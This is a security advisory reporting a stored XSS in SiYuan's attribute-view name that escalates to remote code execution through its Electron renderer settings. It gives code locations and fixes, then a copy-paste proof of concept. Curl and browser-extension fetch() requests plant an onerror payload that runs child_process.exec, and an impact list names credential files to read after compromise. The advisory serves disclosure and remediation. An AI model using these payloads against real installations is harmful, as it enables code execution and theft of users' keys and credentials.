SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE

Sink #3 — WebSocket updateAttrs push → innerHTML. app/src/protyle/wysiwyg/transaction.ts:549-562,659:

const escapeHTML = Lute.EscapeHTMLStr(data.new[key]);
if (key === "bookmark") { bookmarkHTML = `...${escapeHTML}...`; }
else if (key === "name")     { nameHTML  = `...${escapeHTML}...`; }
else if (key === "alias")    { aliasHTML = `...${escapeHTML}...`; }
else if (key === "memo")     { memoHTML  = `...${escapeHTML}...`; }
else if (key === "custom-avs" && data.new["av-names"]) {
    avHTML = `<div class="protyle-attr--av">...${data.new["av-names"]}</div>`;
    //                                          ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above
}
// ...
attrElement.innerHTML = nodeAttrHTML + Constants.ZWSP;

The four sibling cases use Lute.EscapeHTMLStr — proving the team knows the right pattern; only av-names was missed.

Renderer posture — RCE multiplier. app/electron/main.js:407-411:

webPreferences: {
    nodeIntegration: true, webviewTag: true,
    webSecurity: false, contextIsolation: false,
}

Reachability. Route /api/transactions setAttrViewName requires CheckAuth + CheckAdminRole + CheckReadonly. On default install (Conf.AccessAuthCode == ""), kernel/model/session.go:261-287 auto-grants Administrator to local-origin requests. The Origin check accepts localhost / loopback only but chrome-extension:// is explicitly allowlisted (session.go:277), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass.

Suggested fix

1. kernel/model/attribute_view.go getAvNames (line 3283-3284): replace the two strings.ReplaceAll calls with template.HTMLEscapeString(nodeAvName) for the ${avName} substitution.
2. transaction.ts:559: wrap with Lute.EscapeHTMLStr to match siblings at lines 549-557.
3. render.ts:120: use Lute.EscapeHTMLStr(data.name) for both data-title= and the text content.
4. Title.ts:396: escape item.name via Lute.EscapeHTMLStr and item.id via escapeAttr.
5. (Defense-in-depth) Switch the main BrowserWindow to contextIsolation: true with a preload bridge — caps every future renderer XSS at "DOM only," not RCE.

Reproduction (copy-paste-ready)

Tested on Linux/macOS with SiYuan v3.6.5 (re-verified against master HEAD on 2026-05-03). Windows users: replace python3 with py and use Git Bash / WSL for the shell snippets, or translate to PowerShell.

Prereqs

1. Install SiYuan v3.6.5 from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at ~/SiYuanWorkspace is initialized. Do not set an Access Authorization Code (default).
2. Verify the kernel responds:

   curl -s http://127.0.0.1:6806/api/system/version
   

   Expected output (single line of JSON):

   {"code":0,"msg":"","data":"3.6.5"}
   

3. Pin shell variables for the rest of the PoC:

   API=http://127.0.0.1:6806
   WS=~/SiYuanWorkspace                                      # adjust if your workspace lives elsewhere
   
   NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \
     -H 'Content-Type: application/json' -d '{}' \
     | python3 -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])')
   echo "Using notebook: $NOTEBOOK_ID"
   

   Expected: a 14-digit-timestamp + -7chars ID like 20240101120000-abc1234. If you get an empty string, you have no notebooks — open SiYuan and click "New notebook" once.

Step A — Create the AV via the SiYuan UI (one-time, ~10 seconds)

The kernel's setAttrViewName requires the AV file to already exist on disk (av.ParseAttributeView returns an error otherwise). The simplest way to create one is via the editor:

1. Open SiYuan. In any document, type /database and press Enter (or open the slash-command menu and pick Database).

2. The editor inserts an Attribute View block. The kernel writes a JSON file to <workspace>/data/storage/av/<av-id>.json.

3. Capture the AV ID — the most recently written file in that directory:

   AV_FILE=$(ls -1t "$WS/data/storage/av/"*.json 2>/dev/null | head -1)
   AV_ID=$(basename "$AV_FILE" .json)
   echo "AV_ID: $AV_ID"
   

   Expected: same 14-digit-timestamp + -7chars shape, e.g. 20260503160000-aaaaaaa. If empty, the AV file wasn't created — repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan → Inspect Element to read its data-av-id attribute.)

4. Capture the doc ID that hosts the AV: right-click the doc tab → Copy ID, or read it from the doc's data-node-id in DevTools (Ctrl+Shift+I). Set:

   DOC_ID=<root-block-id-of-the-doc-containing-the-AV>
   

Step B — Plant the XSS payload as the AV name

The payload is written directly inside an unquoted heredoc so bash expands $AV_ID while preserving the \" JSON-escape sequences literally. Single-quote chars (') in the inner JS need no escaping inside a JSON string.

curl -s -X POST $API/api/transactions \
  -H 'Content-Type: application/json' \
  --data-binary @- <<EOF
{
  "session": "x",
  "app": "siyuan",
  "transactions": [{
    "doOperations": [{
      "action": "setAttrViewName",
      "id": "$AV_ID",
      "data": "<img src=x onerror=\"require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')\">"
    }],
    "undoOperations": []
  }]
}
EOF

Expected response:

{"code":0,"msg":"","data":[{"doOperations":[...,"action":"setAttrViewName",...]}]}

Step C — Verify the unescaped storage

python3 -c "import json; print(json.load(open('$WS/data/storage/av/$AV_ID.json'))['name'])"

Expected output (the raw HTML as stored — print does not escape ", so they appear as literal quotes):

<img src=x onerror="require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')">

Step D — Trigger

In the SiYuan desktop client:

1. Switch away from the doc that contains the AV (open another doc, or close the tab).
2. Re-open the doc containing the AV ($DOC_ID).
3. The AV body header is rendered via genTabHeaderHTML → outerHTML at app/src/protyle/render/av/render.ts:596. The browser parses the <img> tag, fails to load src=x, and fires onerror.
4. Calculator (or xcalc / open -a Calculator) launches.

If nothing happens, open DevTools (Ctrl+Shift+I / ⌘⌥I) → Console; you should see the error from the failed src=x load. If the AV is in another doc you haven't opened recently, the cached render may be stale — close all tabs and re-open.

Step E — Browser-extension attack vector (the realistic remote path)

A malicious or compromised installed browser extension's content/background script runs with chrome-extension://<id> Origin, allowlisted by session.go:277. The extension can run Steps B's curl-equivalent via fetch():

// Inside any extension content/background script
fetch('http://127.0.0.1:6806/api/transactions', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    session: 'x', app: 'siyuan',
    transactions: [{ doOperations: [{
      action: 'setAttrViewName',
      id: '<av-id-discovered-via-prior-recon-fetches>',
      data: `<img src=x onerror="require('child_process').exec('xcalc')">`
    }] }]
  })
});

The extension can also enumerate AV IDs by first calling /api/notebook/lsNotebooks, then walking notebook trees.

A page from https://attacker.com is rejected — IsLocalOrigin only matches localhost/loopback. Realistic remote vectors are: browser extensions, localhost-served webpages, shared .sy.zip imports, sync replication from a co-author's compromised device.

Cleanup

# Remove the test doc (also removes the AV binding in the doc)
curl -s -X POST $API/api/filetree/removeDocByID \
  -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}"

# Manually delete the AV file
rm -f $WS/data/storage/av/$AV_ID.json

# Restart SiYuan to clear in-memory state

Impact

• RCE on the victim's desktop with the user's privileges, no extra prompt after the trigger condition is met.
• Persistent — payload survives restart, syncs across devices, rides in .sy.zip exports and Bazaar templates.
• Triggers for any role opening a doc bound to the AV (incl. Reader-role publish viewers).
• After RCE: full filesystem read (incl. ~/.ssh/, ~/.aws/credentials, workspace conf/conf.json — kernel API token + AccessAuthCode hash), persistence (.bashrc / Startup folder / LaunchAgent), cloud-account pivot.
• Attack vectors: browser extensions (chrome-extension:// Origin allowlisted); shared .sy.zip files; Bazaar templates; sync peers; co-authors on a shared workspace; publish-service planters infecting Reader viewers.